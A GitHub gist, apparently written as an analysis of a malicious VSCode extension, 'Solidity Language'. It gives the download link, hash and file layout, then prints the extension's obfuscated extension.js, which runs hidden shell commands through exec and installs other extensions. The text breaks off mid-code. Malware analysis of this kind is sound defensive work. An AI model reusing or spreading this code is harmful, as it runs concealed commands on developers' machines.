Skip to content

Instantly share code, notes, and snippets.

@DuckSoft
Created September 24, 2024 03:45
Show Gist options
  • Save DuckSoft/256de73c5b396afba0cd2836b4db9f0c to your computer and use it in GitHub Desktop.
Save DuckSoft/256de73c5b396afba0cd2836b4db9f0c to your computer and use it in GitHub Desktop.
Analysis of Malware VSCode Extension "Solidity Language"

Analysis of Malware VSCode Extension "Solidity Language"

Intro

The analyzed VSCode plugin can be downloaded here: https://marketplace.visualstudio.com/items?itemName=SOLIDITY.Solidity-Language

By the time the article is composed, the latest version is 1.0.0.

Analysis

Download the VSIX file (md5 = 49d77fcbce0338c06f765a3e4080e5d1) and extract:

├── [Content_Types].xml
├── extension
│   ├── CHANGELOG.md
│   ├── README.md
│   ├── extension-web.js
│   ├── extension.js
│   ├── icon.jpg
│   ├── license.txt
│   └── package.json
└── extension.vsixmanifest

Opening extension/extension.js we found that the content is obfuscated:

(function(_0x4e0a6f,_0x1ddeff){function _0x3cb7ab(_0x9547f8,_0x1ad8ea,_0x3cec21,_0x5861d5){return _0x5e9b(_0x1ad8ea- -0x241,_0x5861d5);}function _0x936ecf(_0x525a4a,_0xbe5e3e,_0x2b2bf6,_0x54ed62){return _0x5e9b(_0xbe5e3e-0x374,_0x2b2bf6);}const _0x359e48=_0x4e0a6f();while(!![]){try{const _0x414d4c=-parseInt(_0x3cb7ab(-0x2b,-0x65,-0x31,-0x92))/(0x2*-0xc3e+0xfe4+0x1*0x899)*(parseInt(_0x3cb7ab(-0x5d,-0x61,-0x78,-0x52))/(-0x1886+-0x2692+0x3f1a))+parseInt(_0x936ecf(0x51d,0x515,0x507,0x4e8))/(0x581*0x5+-0x1f7c*-0x1+-0x3afe)+parseInt(_0x936ecf(0x591,0x586,0x58f,0x562))/(-0x5b0+-0xc46*-0x1+-0x692)*(parseInt(_0x936ecf(0x528,0x51b,0x553,0x4e1))/(-0x1*-0x1934+-0xb12+-0x1*0xe1d))+-parseInt(_0x936ecf(0x58a,0x575,0x537,0x596))/(-0x4f*-0x2b+-0x1cf2+0xfb3)+-parseInt(_0x3cb7ab(-0x29,-0x59,-0x87,-0x6a))/(0x141d+0x1366+0xe*-0x2d2)+parseInt(_0x936ecf(0x510,0x532,0x533,0x51c))/(0x1*-0x802+-0xc7*-0x1a+0x26*-0x52)+parseInt(_0x936ecf(0x526,0x519,0x550,0x4f3))/(-0x1659+-0xbad+-0x1*-0x220f);if(_0x414d4c===_0x1ddeff)break;else _0x359e48['push'](_0x359e48['shift']());}catch(_0x4a7667){_0x359e48['push'](_0x359e48['shift']());}}}(_0x59c2,-0x9cb15*0x1+0xb198f+0xbed02));function _0x5e9b(_0x56cb13,_0xc09c1b){const _0x222a6c=_0x59c2();return _0x5e9b=function(_0x260f75,_0x592057){_0x260f75=_0x260f75-(0x244*-0x3+0x2*-0x69b+0x159b);let _0x14a7d4=_0x222a6c[_0x260f75];if(_0x5e9b['DdbfZA']===undefined){var _0x302706=function(_0x7f28cf){const _0x442833='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3c06f8='',_0x1f2a56='',_0x545fff=_0x3c06f8+_0x302706;for(let _0x3d031a=0xf66*0x1+-0xa3d*0x1+0x1*-0x529,_0x1beb42,_0x2ed3f6,_0x5db0a6=0x3*-0x1c4+-0xb1*0x28+0xe4*0x25;_0x2ed3f6=_0x7f28cf['charAt'](_0x5db0a6++);~_0x2ed3f6&&(_0x1beb42=_0x3d031a%(-0x1f2+0x5ab*-0x1+-0x117*-0x7)?_0x1beb42*(0x1542+0x1def+-0x32f1)+_0x2ed3f6:_0x2ed3f6,_0x3d031a++%(0x1f31+0xe1d+0x2aa*-0x11))?_0x3c06f8+=_0x545fff['charCodeAt'](_0x5db0a6+(0x1bc8+0xf92+-0x2b50))-(-0x966+-0x2478+0x2de8)!==-0x11*0x7d+0xc4*-0x24+0x23dd?String['fromCharCode'](-0x6d*0x3b+0xc1b+0xe03&_0x1beb42>>(-(0x1*-0x213+-0x92*0x25+0x172f)*_0x3d031a&0x3d*0x5b+0x1ebe+-0x3467)):_0x3d031a:-0x61*0x7+-0x20fb*-0x1+-0x1e54){_0x2ed3f6=_0x442833['indexOf'](_0x2ed3f6);}for(let _0x355024=-0x6da+0x11ac+-0xad2,_0x260112=_0x3c06f8['length'];_0x355024<_0x260112;_0x355024++){_0x1f2a56+='%'+('00'+_0x3c06f8['charCodeAt'](_0x355024)['toString'](-0x23bb*0x1+-0x1*0x20af+-0xa*-0x6d9))['slice'](-(-0x2*0xdfd+0x2*-0x1189+0x7*0x902));}return decodeURIComponent(_0x1f2a56);};_0x5e9b['gJbMJF']=_0x302706,_0x56cb13=arguments,_0x5e9b['DdbfZA']=!![];}const _0xdacb8e=_0x222a6c[0x1d1f+-0x245d+0x73e],_0x35311=_0x260f75+_0xdacb8e,_0x393130=_0x56cb13[_0x35311];if(!_0x393130){const _0x4d914d=function(_0x96c42a){this['HvcSBV']=_0x96c42a,this['bvFkFe']=[0x1*0x1c3a+-0x403+-0x1836,-0x109+0xfb2+-0xea9,0x1*-0x1999+0x1*0x1ea2+-0x509],this['gUilTq']=function(){return'newState';},this['Jjjmuj']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['DIwDkJ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x4d914d['prototype']['yLhjce']=function(){const _0x5388e6=new RegExp(this['Jjjmuj']+this['DIwDkJ']),_0xfcb602=_0x5388e6['test'](this['gUilTq']['toString']())?--this['bvFkFe'][-0x1b7*-0x7+0xbe0+-0x1*0x17e0]:--this['bvFkFe'][0x1*-0x1f0c+0x1d12+0x1fa];return this['PMHhtc'](_0xfcb602);},_0x4d914d['prototype']['PMHhtc']=function(_0x26273e){if(!Boolean(~_0x26273e))return _0x26273e;return this['ggYdHj'](this['HvcSBV']);},_0x4d914d['prototype']['ggYdHj']=function(_0xc8ac6e){for(let _0x7edf36=-0x25d1+-0xb0e+0x30df,_0x22213b=this['bvFkFe']['length'];_0x7edf36<_0x22213b;_0x7edf36++){this['bvFkFe']['push'](Math['round'](Math['random']())),_0x22213b=this['bvFkFe']['length'];}return _0xc8ac6e(this['bvFkFe'][-0x43*0x79+0x1679*-0x1+-0x2b5*-0x14]);},new _0x4d914d(_0x5e9b)['yLhjce'](),_0x14a7d4=_0x5e9b['gJbMJF'](_0x14a7d4),_0x56cb13[_0x35311]=_0x14a7d4;}else _0x14a7d4=_0x393130;return _0x14a7d4;},_0x5e9b(_0x56cb13,_0xc09c1b);}const _0x233156=(function(){function _0x4f446a(_0x188d98,_0x3cacf5,_0x4e2fa7,_0x5dfde3){return _0x5e9b(_0x4e2fa7- -0xcb,_0x5dfde3);}const _0x83df41={'Qnxcw':_0x4f446a(0x118,0x16c,0x13f,0x11c),'WgyNg':function(_0x4b8808,_0x5f5511){return _0x4b8808!==_0x5f5511;},'blBXM':_0x4f446a(0xe0,0xd9,0xd7,0x107),'tVVoN':function(_0x179a71,_0x1313b4,_0x3952d5,_0x50a6e6){return _0x179a71(_0x1313b4,_0x3952d5,_0x50a6e6);},'GIjXH':function(_0x1216a7,_0x3918eb){return _0x1216a7===_0x3918eb;},'HzVtV':_0x4f446a(0xad,0xf5,0xeb,0xd2)};function _0xb3a849(_0x34d9e4,_0x3f9bf1,_0x591ff2,_0x13a717){return _0x5e9b(_0x591ff2- -0xd3,_0x13a717);}let _0x26ea17=!![];return function(_0x5534a7,_0x261ded){function _0x22d9c3(_0x17384a,_0x21e3f4,_0x466514,_0x465286){return _0x4f446a(_0x17384a-0x1c8,_0x21e3f4-0x18f,_0x465286- -0x89,_0x466514);}function _0x12d516(_0x4b041b,_0x3f06e1,_0x38a02e,_0x158597){return _0x4f446a(_0x4b041b-0xcb,_0x3f06e1-0x15d,_0x3f06e1-0x466,_0x4b041b);}const _0x22042={'qrlLY':_0x83df41[_0x12d516(0x58c,0x5ab,0x599,0x594)],'KsKBi':function(_0x149d97,_0x3428dc){function _0x1f9800(_0x1e7267,_0x6c4a30,_0x53cfc1,_0x3aa81a){return _0x12d516(_0x6c4a30,_0x53cfc1- -0x368,_0x53cfc1-0x49,_0x3aa81a-0x139);}return _0x83df41[_0x1f9800(0x1ed,0x1f4,0x1e1,0x1d6)](_0x149d97,_0x3428dc);},'SOAiH':_0x83df41[_0x22d9c3(0xea,0xf5,0x9f,0xbd)],'kdyPO':function(_0x3663b4,_0x38bcb8,_0x49bf8d,_0x4a587c){function _0x119192(_0x16302c,_0x58d9c9,_0x164d6f,_0x130f47){return _0x12d516(_0x58d9c9,_0x164d6f- -0x31f,_0x164d6f-0x14b,_0x130f47-0x1ab);}return _0x83df41[_0x119192(0x287,0x24e,0x24f,0x22b)](_0x3663b4,_0x38bcb8,_0x49bf8d,_0x4a587c);}};if(_0x83df41['GIjXH'](_0x22d9c3(0x63,0x8f,0x5b,0x62),_0x83df41[_0x12d516(0x59f,0x596,0x578,0x55b)])){const _0x5d5c4a=_0x26ea17?function(){function _0x1994a6(_0x3af8a4,_0xea87c7,_0x288b07,_0x168477){return _0x22d9c3(_0x3af8a4-0x120,_0xea87c7-0x1ba,_0xea87c7,_0x3af8a4- -0x21f);}function _0x3d4638(_0x13a335,_0x194a1c,_0x4885c9,_0x16958d){return _0x12d516(_0x4885c9,_0x16958d-0x47,_0x4885c9-0x1cc,_0x16958d-0x22);}if(_0x22042[_0x1994a6(-0x18f,-0x1ac,-0x1a3,-0x1a5)]!==_0x1994a6(-0x160,-0x131,-0x135,-0x16b)){if(_0x261ded){if(_0x22042[_0x3d4638(0x56a,0x5ce,0x5cc,0x595)](_0x22042[_0x3d4638(0x5af,0x5a9,0x5cf,0x59a)],_0x22042[_0x3d4638(0x59a,0x5ca,0x5a3,0x59a)])){_0x96c42a(_0x5388e6);return;}else{const _0x49302d=_0x261ded['apply'](_0x5534a7,arguments);return _0x261ded=null,_0x49302d;}}}else{const _0x3de1dc=_0x2d5054?function(){function _0x188065(_0x49d824,_0x27ba40,_0x321760,_0x5dde21){return _0x1994a6(_0x49d824-0x26c,_0x321760,_0x321760-0x6a,_0x5dde21-0x139);}if(_0x93f22e){const _0x59159c=_0x90012a[_0x188065(0xa1,0xa8,0xda,0x8b)](_0x283f9f,arguments);return _0x55c1ee=null,_0x59159c;}}:function(){};return _0x5bf19d=![],_0x3de1dc;}}:function(){};return _0x26ea17=![],_0x5d5c4a;}else return new _0x16e0f3((_0x43a4d6,_0x15271e)=>{function _0x3a02fa(_0x58e0a6,_0x5bbb4e,_0xd34a3f,_0x5e03a1){return _0x22d9c3(_0x58e0a6-0x54,_0x5bbb4e-0x2b,_0x5e03a1,_0x5bbb4e-0x7);}function _0x57200a(_0x3b6ee2,_0x13cc72,_0x4ea884,_0x1ec8f4){return _0x12d516(_0x4ea884,_0x13cc72-0x1b,_0x4ea884-0x105,_0x1ec8f4-0x136);}const _0x32d8ef={'kTgcK':function(_0x56612f){return _0x56612f();}},_0x2e9612={};_0x2e9612[_0x57200a(0x552,0x55c,0x551,0x577)+'e']=!![],_0x22042[_0x57200a(0x581,0x555,0x54e,0x517)](_0x1118ac,_0x57200a(0x594,0x583,0x574,0x5ad)+'\x20'+_0x24fb24,_0x2e9612,(_0x4423fa,_0x51a33d,_0x1830f0)=>{if(_0x4423fa){_0x15271e(_0x4423fa);return;}_0x32d8ef['kTgcK'](_0x43a4d6);});});};}()),_0x427b86=_0x233156(this,function(){function _0x4937eb(_0x1fc674,_0x2dd0b1,_0x1fe81d,_0x2911ff){return _0x5e9b(_0x1fc674-0xa3,_0x1fe81d);}const _0x3cba09={};_0x3cba09[_0x4937eb(0x2a9,0x2c3,0x2cf,0x2b2)]=_0x4937eb(0x26a,0x27f,0x26d,0x272)+'+$';const _0x2723d7=_0x3cba09;function _0x50876b(_0x3f2985,_0x31f32f,_0x5e34d4,_0x26dc07){return _0x5e9b(_0x26dc07- -0x6b,_0x3f2985);}return _0x427b86[_0x50876b(0x115,0x13e,0x11f,0x152)]()['search'](_0x4937eb(0x26a,0x258,0x23c,0x298)+'+$')[_0x4937eb(0x260,0x264,0x287,0x293)]()[_0x50876b(0x1a5,0x1b7,0x1bc,0x198)+'r'](_0x427b86)[_0x50876b(0x1b7,0x1c3,0x189,0x187)](_0x2723d7[_0x4937eb(0x2a9,0x2a7,0x2b5,0x2b2)]);});_0x427b86();const _0x36d1b9=(function(){const _0x3ddcec={};_0x3ddcec['yRGfz']=function(_0x479ad7,_0x313846){return _0x479ad7!==_0x313846;};function _0xee0398(_0x5f4f0e,_0x567f31,_0x326fed,_0x13c543){return _0x5e9b(_0x5f4f0e-0x29d,_0x567f31);}_0x3ddcec[_0x4801eb(0x221,0x1fb,0x1db,0x219)]=_0xee0398(0x4a4,0x4df,0x4ae,0x468);const _0x52ea11=_0x3ddcec;let _0x1264ad=!![];function _0x4801eb(_0x4d6715,_0x3d1b56,_0x5767c6,_0x21e2df){return _0x5e9b(_0x21e2df-0x5,_0x3d1b56);}return function(_0x5ca656,_0xafc51a){function _0x5d0d09(_0x484ea5,_0x486c2d,_0x3943c3,_0x4551be){return _0x4801eb(_0x484ea5-0x14f,_0x4551be,_0x3943c3-0xda,_0x484ea5- -0x16d);}function _0x3cb73a(_0x325e80,_0x44ab00,_0x27ebcb,_0x11f531){return _0x4801eb(_0x325e80-0x73,_0x11f531,_0x27ebcb-0xe6,_0x325e80- -0x144);}if(_0x52ea11[_0x5d0d09(0x9c,0xb1,0x95,0x73)](_0x52ea11[_0x3cb73a(0xd5,0xa4,0x109,0x104)],_0x52ea11[_0x3cb73a(0xd5,0x9b,0xec,0xbb)])){const _0x4c551b=_0x51f819['apply'](_0x1ebf5c,arguments);return _0x5acd09=null,_0x4c551b;}else{const _0x417ae9=_0x1264ad?function(){function _0x38a600(_0x44393a,_0x4c583d,_0x22a47a,_0x4104fa){return _0x5d0d09(_0x44393a- -0xfd,_0x4c583d-0xb5,_0x22a47a-0xe0,_0x4104fa);}if(_0xafc51a){const _0x5a4991=_0xafc51a[_0x38a600(-0xbd,-0xac,-0xc3,-0x81)](_0x5ca656,arguments);return _0xafc51a=null,_0x5a4991;}}:function(){};return _0x1264ad=![],_0x417ae9;}};}()),_0x596d7b=_0x36d1b9(this,function(){function _0x38a654(_0x3611fe,_0x258f2b,_0xbd053a,_0x2c1621){return _0x5e9b(_0x3611fe-0x31a,_0xbd053a);}const _0xe0bd01={'KpPMa':'PMYOU','ZHdjE':function(_0x1bbc8c,_0x48be73){return _0x1bbc8c(_0x48be73);},'Ywtjv':function(_0x2a111d,_0x10f0ed){return _0x2a111d+_0x10f0ed;},'KFQLC':_0x27e633(0x453,0x469,0x47e,0x464)+_0x38a654(0x4e6,0x4ee,0x4bd,0x4c6),'LCYdY':_0x38a654(0x509,0x4d9,0x537,0x4fd)+_0x27e633(0x4a8,0x49f,0x4b6,0x4ac)+_0x38a654(0x4e4,0x4c9,0x4bf,0x4ee)+'\x20)','jPWZk':function(_0x2fd6f2){return _0x2fd6f2();},'KNAZT':_0x27e633(0x4ec,0x50c,0x4d2,0x4d7),'VeuuO':_0x38a654(0x4ce,0x4c3,0x4b7,0x4a5),'iSgRH':'info','KqwpE':_0x27e633(0x4c2,0x4a8,0x49a,0x478),'JJgxR':function(_0x484959,_0x1ccbdf){return _0x484959<_0x1ccbdf;},'epJCf':_0x38a654(0x522,0x500,0x541,0x530),'OxkBn':_0x27e633(0x452,0x438,0x46e,0x492)},_0x22affe=function(){function _0x5b4a4e(_0x235210,_0x318089,_0x5dc4d5,_0x3fdc4c){return _0x27e633(_0x235210-0x1d8,_0x318089,_0x5dc4d5- -0x30c,_0x3fdc4c-0x9a);}let _0x4ae677;function _0x3fbb42(_0x3b838c,_0x52858a,_0x22cab6,_0x4092e6){return _0x27e633(_0x3b838c-0x5d,_0x22cab6,_0x52858a- -0xad,_0x4092e6-0x1ae);}try{if(_0xe0bd01['KpPMa']!==_0x5b4a4e(0x17c,0x153,0x191,0x1ce))_0x4ae677=_0xe0bd01[_0x3fbb42(0x3e2,0x400,0x3eb,0x3c3)](Function,_0xe0bd01[_0x5b4a4e(0x207,0x20b,0x1cd,0x1df)](_0xe0bd01[_0x5b4a4e(0x1e1,0x20d,0x1d5,0x206)],_0xe0bd01[_0x5b4a4e(0x17d,0x185,0x17d,0x19a)])+');')();else{if(_0x1bb690){const _0x3e191e=_0x7cbed8[_0x3fbb42(0x3da,0x3cf,0x3d6,0x3d7)](_0x5aa8a1,arguments);return _0x6f3a9e=null,_0x3e191e;}}}catch(_0x1d701d){_0x4ae677=window;}return _0x4ae677;},_0x4c3864=_0xe0bd01[_0x38a654(0x4ef,0x4b2,0x507,0x529)](_0x22affe),_0x3dc523=_0x4c3864[_0x27e633(0x491,0x4de,0x4ca,0x4f3)]=_0x4c3864[_0x27e633(0x49b,0x504,0x4ca,0x502)]||{},_0x321b0b=[_0xe0bd01['KNAZT'],_0xe0bd01[_0x38a654(0x4c6,0x4c7,0x4c4,0x4a5)],_0xe0bd01[_0x38a654(0x501,0x527,0x4d1,0x51c)],_0x27e633(0x4a7,0x4a0,0x48e,0x45f),'exception',_0x27e633(0x4a2,0x4e7,0x4c8,0x498),_0xe0bd01[_0x27e633(0x48b,0x4d6,0x499,0x4d4)]];function _0x27e633(_0xc0ea43,_0x5ba378,_0x49a015,_0x46ed21){return _0x5e9b(_0x49a015-0x2d4,_0x5ba378);}for(let _0xd836dc=0x1f+-0x10d8+-0x10b9*-0x1;_0xe0bd01[_0x27e633(0x4a5,0x4b5,0x4b2,0x4c5)](_0xd836dc,_0x321b0b[_0x38a654(0x51c,0x521,0x518,0x507)]);_0xd836dc++){if(_0xe0bd01[_0x38a654(0x4c3,0x4cc,0x4b3,0x4f9)]!==_0xe0bd01[_0x27e633(0x485,0x4a4,0x47f,0x495)]){const _0x1e26f4=_0x36d1b9[_0x38a654(0x51d,0x556,0x52f,0x54a)+'r'][_0x38a654(0x4f2,0x502,0x4f9,0x4c0)][_0x27e633(0x4ad,0x473,0x48b,0x4b1)](_0x36d1b9),_0x382532=_0x321b0b[_0xd836dc],_0x4e469c=_0x3dc523[_0x382532]||_0x1e26f4;_0x1e26f4['__proto__']=_0x36d1b9[_0x38a654(0x4d1,0x4fa,0x4e2,0x4f5)](_0x36d1b9),_0x1e26f4[_0x38a654(0x4d7,0x4a8,0x4aa,0x4eb)]=_0x4e469c[_0x27e633(0x455,0x4c4,0x491,0x4b8)][_0x27e633(0x4a7,0x45e,0x48b,0x4a9)](_0x4e469c),_0x3dc523[_0x382532]=_0x1e26f4;}else{if(_0x545fff){_0x5db0a6(_0x355024);return;}_0xe0bd01[_0x38a654(0x4ef,0x506,0x513,0x4e2)](_0x2ed3f6);}}});_0x596d7b();const vscode=require(_0x313586(-0x32,0xb,-0x1c,-0x1a)),{exec}=require(_0x943314(-0x17d,-0x189,-0x187,-0x16e)+_0x313586(-0x6c,-0x87,-0x2f,-0x76));function _0x59c2(){const _0x580881=['D29YA2jLBMnOlG','BMn0Aw9UkcKG','y21KlMv4zsaVyW','Chzozfq','y3rPDMf0zwqU','iIv0rw1qjvWXlG','EhfNrgq','zxnZ','DfzwB04','BwfUza','ALbxwMS','zgvHy3rPDMf0zq','y21KiG','ChjVDg90ExbL','wKHKAKu','BeTUs2S','Dg9Y','ntu5qK9Ptvbi','D2HVlNj1l2zPBa','sKPNEfi','BM1Auui','mti2mKjps1rVvG','B24Gy29TCgXLDa','y3rVCIGICMv0Dq','DgLUDgLUD2vIlG','CxjStfK','BfnTthO','ChvZAa','AvnNuKG','oti3nduXmer3CK1usq','Bw1HBMq','y2HPBgrFChjVyW','igLZigfSCMvHza','vfv5txC','zxHWB3j0CW','rxP3uum','E30Uy29UC3rYDq','zMjsBuG','ywn0AxzHDgu','C2vHCMnO','sw5ZDgfSBgf0Aq','DgfIBgu','C1HeCgu','y29UC29Szq','zxH0zw5ZAw9UCW','ywvdB1i','D2LUzg93','z2v0rxH0zw5ZAq','shPwDfy','DgvUC2LVBG','C21hEum','Bg9N','CgXHDgzVCM0','EhDYCgO','odeWmdi4mNjxAwLwBq','BgvUz3rO','y29UC3rYDwn0BW','EvjhzNO','wxD0ANy','v0jyqwW','D051wwW','z3LhELu','EsbPBNn0ywXSzq','qvzPreu','u1jltNy','DNnJB2rL','s0zrtem','u0riBNK','rMfPBgvKihrVia','uw54y3C','yMXcwe0','mtCWmJiYmfr4C05wqG','AMLLB1u','ENHJAfm','z2Xdt3C','runzyMy','C2HVD0LUzM9YBq','ywvTq3K','B2zvAwK','DhrWCZOVl3DOEq','A2r5ue8','zxHLy3v0zunVBq','ndiXnJm4mgHLzMPNBa','A3njy0S','yZeUCNvU','suj2B2S','nJu2nJq1nfbqzvLjAG','D2LUzg93C0HPza','mtbKqLrgsvO','yxbWBhK','zxbkq2y','CMv0DxjUicHMDq','t3HRqM4','vMv1Du8','uefwzK0','v2D5tMC','yxrPB25nzxnZyq','lMLUC3rHBgXfEa','AgzAswu','zxmVms5JBwqGlq','s3nlqMK','D2fYBG','tenzzfK','seTzsxq','yMLUza','u09bAuG','zwqU','zxjYB3i','CMvNAxn0zxjdBW','Axnby3rPDMu','Dg9tDhjPBMC','nZi2otGWog5zA1LUvG','DwHlCMK','v05iCMS','rxH0zw5ZAw9Uia','ANfeB0e','y29TBwfUzhm','C2HVD0vYCM9Ytq','s3f3Ceu','DhjHy2u','kcGOlISPkYKRkq','BYaIjxrfBvaLxa','vgrODLq','CM4GDgHPCYiPka'];_0x59c2=function(){return _0x580881;};return _0x59c2();}function f1(_0x5ad991){function _0x487f29(_0x2bcda1,_0x5cd2ee,_0x87a01,_0x1d94c5){return _0x943314(_0x2bcda1-0x179,_0x2bcda1- -0x16,_0x87a01-0x14,_0x87a01);}function _0x5ba990(_0x57c9f2,_0x5ef4d1,_0x47ad29,_0x392d00){return _0x313586(_0x47ad29-0x290,_0x392d00,_0x47ad29-0xbc,_0x392d00-0x82);}const _0x2f533d={'Xyyxx':function(_0x5b6766,_0x39048c){return _0x5b6766!==_0x39048c;},'uhKri':'hlxaO','ofUii':_0x487f29(-0x1af,-0x1a4,-0x182,-0x1ce),'jqDoA':function(_0x3a0be5,_0x24193f){return _0x3a0be5(_0x24193f);},'nmZQB':function(_0x5c9a6d){return _0x5c9a6d();},'Qvcrz':_0x487f29(-0x1e6,-0x1c9,-0x1f0,-0x1ba),'aemCy':function(_0x27eb3b,_0xd2da98){return _0x27eb3b===_0xd2da98;},'ikKuR':_0x487f29(-0x18c,-0x176,-0x197,-0x16d)};return new Promise((_0xf86f95,_0x2e3cca)=>{function _0x439cbf(_0x5013cf,_0x1a5bd1,_0x343308,_0x505271){return _0x487f29(_0x505271-0x278,_0x1a5bd1-0x1eb,_0x343308,_0x505271-0xea);}function _0x189ec5(_0x1040be,_0x2849ae,_0x316b4b,_0x23acf8){return _0x487f29(_0x23acf8-0x2e3,_0x2849ae-0x117,_0x2849ae,_0x23acf8-0x11e);}const _0x246487={'HggVp':_0x2f533d['Qvcrz'],'ofgJL':function(_0x304e9c,_0x50eb31,_0x8df0e4){return _0x304e9c(_0x50eb31,_0x8df0e4);}};if(_0x2f533d[_0x189ec5(0xc6,0xd8,0xd2,0xf6)](_0x439cbf(0x125,0x106,0xe2,0xec),_0x2f533d['ikKuR'])){const _0x2c4819={};_0x2c4819[_0x439cbf(0xbf,0x74,0xa1,0x95)+'e']=!![],exec(_0x189ec5(0x115,0xf5,0xfa,0x127)+'\x20'+_0x5ad991,_0x2c4819,(_0x2ae7bc,_0x52d0ae,_0x12ce2a)=>{function _0x826ac4(_0x511299,_0x29e612,_0x26058c,_0x54c2d6){return _0x439cbf(_0x511299-0x181,_0x29e612-0x1e7,_0x54c2d6,_0x26058c-0x34c);}function _0x2c5271(_0x3aa5cd,_0x29e920,_0x29606f,_0x31d7a2){return _0x189ec5(_0x3aa5cd-0x105,_0x3aa5cd,_0x29606f-0x161,_0x31d7a2-0x2e5);}if(_0x2f533d['Xyyxx'](_0x2f533d[_0x826ac4(0x3f0,0x3f8,0x3fa,0x427)],_0x2f533d[_0x2c5271(0x3bc,0x40f,0x3b7,0x3dc)])){if(_0x2ae7bc){_0x2f533d[_0x2c5271(0x3fa,0x429,0x3dd,0x401)](_0x2e3cca,_0x2ae7bc);return;}_0x2f533d[_0x2c5271(0x42f,0x452,0x432,0x41e)](_0xf86f95);}else{const _0x534fa8={};_0x534fa8[_0x826ac4(0x437,0x3ef,0x429,0x3fc)]=_0x246487['HggVp'];const _0x324387=_0x534fa8;_0x246487['ofgJL'](_0x48d6d0,()=>{function _0x4784c9(_0x5a7a73,_0x32cfc4,_0x518aa5,_0x443c50){return _0x2c5271(_0x443c50,_0x32cfc4-0x4b,_0x518aa5-0xdd,_0x518aa5- -0x10d);}function _0x1f889e(_0x41e5ea,_0x43903d,_0x595eb5,_0x43ed04){return _0x2c5271(_0x595eb5,_0x43903d-0x2b,_0x595eb5-0x150,_0x43903d- -0x19e);}_0x590867[_0x4784c9(0x2c8,0x2b9,0x2f5,0x319)][_0x4784c9(0x2a2,0x2b5,0x2d2,0x2e5)+_0x1f889e(0x24d,0x275,0x26c,0x2a0)](_0x324387['EzwQC']);},0x18c3+-0x1690+0x1b5);}});}else _0x2e6c9b=_0x42d8d0;});}async function f2(_0x292909){function _0x5d1f23(_0x5dc5b9,_0x27d5a4,_0x238343,_0x2b0daf){return _0x313586(_0x2b0daf-0x263,_0x27d5a4,_0x238343-0x3f,_0x2b0daf-0x142);}const _0x159e1c={'aeCoR':function(_0x103052,_0x123777){return _0x103052(_0x123777);},'SDHny':function(_0xadf718,_0xed609e,_0x5456fd,_0xe3c8ad){return _0xadf718(_0xed609e,_0x5456fd,_0xe3c8ad);},'xqgDd':_0x3fe342(0x180,0x16a,0x1a6,0x1c6),'lSmLz':_0x5d1f23(0x1d3,0x1f3,0x1d4,0x1f3),'XurLU':_0x5d1f23(0x235,0x203,0x24d,0x21a),'TUyMw':_0x3fe342(0x19f,0x1e9,0x1ce,0x1da)+_0x5d1f23(0x217,0x1fc,0x217,0x21c)+_0x5d1f23(0x1de,0x1f7,0x1ff,0x1d5)+_0x5d1f23(0x225,0x235,0x259,0x221),'fgtua':function(_0x5d3400,_0xeede06,_0x5405cd){return _0x5d3400(_0xeede06,_0x5405cd);},'PAVfM':'pnbGs','kNRKA':_0x5d1f23(0x1f0,0x219,0x22c,0x225)};function _0x3fe342(_0x29bee6,_0x3053d2,_0x197e75,_0x2ff37f){return _0x313586(_0x197e75-0x241,_0x3053d2,_0x197e75-0x124,_0x2ff37f-0x6e);}try{const _0x1470b7=vscode[_0x5d1f23(0x252,0x1e2,0x1e7,0x21c)][_0x5d1f23(0x256,0x1f9,0x245,0x21f)+'on'](_0x292909);if(_0x1470b7){if(_0x159e1c[_0x3fe342(0x211,0x1eb,0x1e8,0x1c1)]===_0x159e1c['XurLU']){const _0x41a787={'HreIX':function(_0x9b3547,_0x130a7c){function _0x59a6fe(_0xd2c9d6,_0x25f85b,_0x308c69,_0x58d5f6){return _0x3fe342(_0xd2c9d6-0xee,_0xd2c9d6,_0x308c69- -0x32d,_0x58d5f6-0x54);}return _0x159e1c[_0x59a6fe(-0x16a,-0x132,-0x132,-0xfd)](_0x9b3547,_0x130a7c);},'hWQuS':function(_0x1ed644){return _0x1ed644();}},_0x3accf5={};_0x3accf5['windowsHid'+'e']=!![],_0x159e1c[_0x3fe342(0x203,0x204,0x211,0x233)](_0x56cb13,_0x3fe342(0x1d9,0x1c4,0x1d0,0x1fd)+'\x20'+_0xc09c1b,_0x3accf5,(_0x595151,_0x1169af,_0x597788)=>{if(_0x595151){_0x41a787['HreIX'](_0x302706,_0x595151);return;}_0x41a787['hWQuS'](_0x14a7d4);});}else{vscode[_0x3fe342(0x1cc,0x218,0x1fc,0x231)][_0x5d1f23(0x1fd,0x1e7,0x1a9,0x1c0)+'ationMessa'+'ge']('Extension\x20'+_0x292909+(_0x3fe342(0x206,0x1f1,0x1ee,0x21c)+_0x5d1f23(0x216,0x20e,0x259,0x22e)+'d.'));return;}}await vscode[_0x3fe342(0x1a3,0x1cf,0x1c6,0x1f4)][_0x3fe342(0x1a8,0x1d8,0x1a3,0x1c5)+'mand'](_0x159e1c[_0x3fe342(0x1db,0x1b9,0x1ef,0x20d)],_0x292909),vscode[_0x3fe342(0x1d4,0x225,0x1fc,0x230)][_0x3fe342(0x1b9,0x1b0,0x19e,0x1c6)+_0x3fe342(0x187,0x1bf,0x1b2,0x1b7)+'ge']('Installing'+'\x20'+_0x292909+'.'),_0x159e1c['fgtua'](setTimeout,async()=>{function _0x440e99(_0x5a6bdb,_0x4af008,_0x35bb68,_0x2dd270){return _0x5d1f23(_0x5a6bdb-0x127,_0x5a6bdb,_0x35bb68-0xa4,_0x2dd270-0x243);}const _0x51226d=vscode[_0x44a393(0x42,0x3f,0x11,0x76)]['getExtensi'+'on'](_0x292909);function _0x44a393(_0xad9e3f,_0x38369d,_0xc194a1,_0x329574){return _0x3fe342(_0xad9e3f-0xa8,_0x38369d,_0xad9e3f- -0x1b8,_0x329574-0x57);}_0x51226d&&!_0x51226d[_0x440e99(0x404,0x424,0x41d,0x424)]&&(await 